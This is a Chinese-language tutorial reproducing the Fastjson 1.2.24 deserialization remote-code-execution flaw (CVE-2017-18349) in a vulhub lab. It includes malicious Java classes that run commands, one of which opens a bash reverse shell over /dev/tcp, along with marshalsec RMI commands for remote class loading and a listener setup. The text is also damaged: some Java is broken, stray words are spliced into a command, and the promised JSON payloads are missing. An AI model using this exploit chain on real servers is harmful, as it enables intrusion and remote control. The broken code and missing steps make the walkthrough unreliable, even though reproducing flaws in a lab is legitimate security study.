Fastjson1.2.24反序列化导致任意命令执⾏(CVE-2017-
18349)
0x00 前⾔
最近遇到了这个漏洞,所以咱们今天来复现⼀下
--学如逆⽔⾏⾈,不进则退
0x01 漏洞简介
fastjson在解析json的过程中,⽀持使⽤autoType来实例化某⼀个具体的类,并调⽤该类的set/get⽅法来访问属性。通过查代码中相关的⽅法,即可构造出⼀些恶意利⽤链。
0x02 影响版本:
fastjson <= 1.2.24
0x03 漏洞复现
1.所需机器以及⼯具:
靶机:Centos7 (192.168.166.129)
攻击机:kali (192.168.166.128)
本机(当然也可以⽤kali),⽤来抓包
环境:JDK不得⾼于不得⾼于1.8(使⽤新版本复现不出来)
marshalsec项⽬:⽤来启动⼀个RMI服务器,⽤来指定加载远程类。
2.环境搭建
此处使⽤vulhub靶场搭建
cd vulhub/
cd fastjson/
cd 1.2.24-rce/
docker-compose up -d
3.在kali中使⽤⼀下命令,发送⼀个JSON对象,更新服务端的信息。
4. 在kali中新建⼀个TouchFile.java⽂件,将下列代码内容,也就是恶意类写进⽂件中
注意:::此处⽂件名不能随意更改
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
5.使⽤javac命令将TouchFile.java编译成.class⽂件
注意:::编译好后,将⽣成的.class⽂件和Touchfile.java放在⼀个⽂件夹下
javac TouchFile.java
6.在Touchfile.java和.class⽂件的⽂件夹下启动http服务(默认端⼝是8000)
python3 -m http.server
7.使⽤marshalsec启动⼀个RMI服务器,⽤来指定加载远程类。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "192.168.166.128:8000/#TouchFile" 9999
如下图:
8.访问靶机,进⾏抓包,构造payload
注意:::  1.抓包之后,改为post包
2.Content-Type处application/x-www-form-urlencoded换为application/json
3.⾃⼰复现时候,记得把payload中ip改为⾃⼰攻击的ip
发送⼀下数据包,响应为500,即为正常
9.进去靶机机器(Centos7),验证命令是否执⾏成功
docker ps -a    ///查看启动的docker容器
docker exec -it 容器id bashfastjson忽略属性
cd /tmp/
ls
发现有success,代表命令执⾏成功 (当然,在攻击机中,也会有回显)
10.反弹shell
同上操作:
1.创建⼀个shell.java⽂件,然后将shell.java编译成.class⽂件,然后放于同意⽂件夹下代码如下:
import java.lang.Runtime;
import java.lang.Process;
public class shell {
static {
try {
Runtime rt = Runtime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.166.128/6666 0>&1"}; Process pc = rt.exec(commands);
pc.waitFor(); }
catch (Exception e) {
// do nothing
}
}
}
2.在shell.java和⽣成的.class⽂件夹中启动http服务
3.启⽤RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "192.168.166.128:8000/#shell" 9999
4nc监听6666端⼝
如下图:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。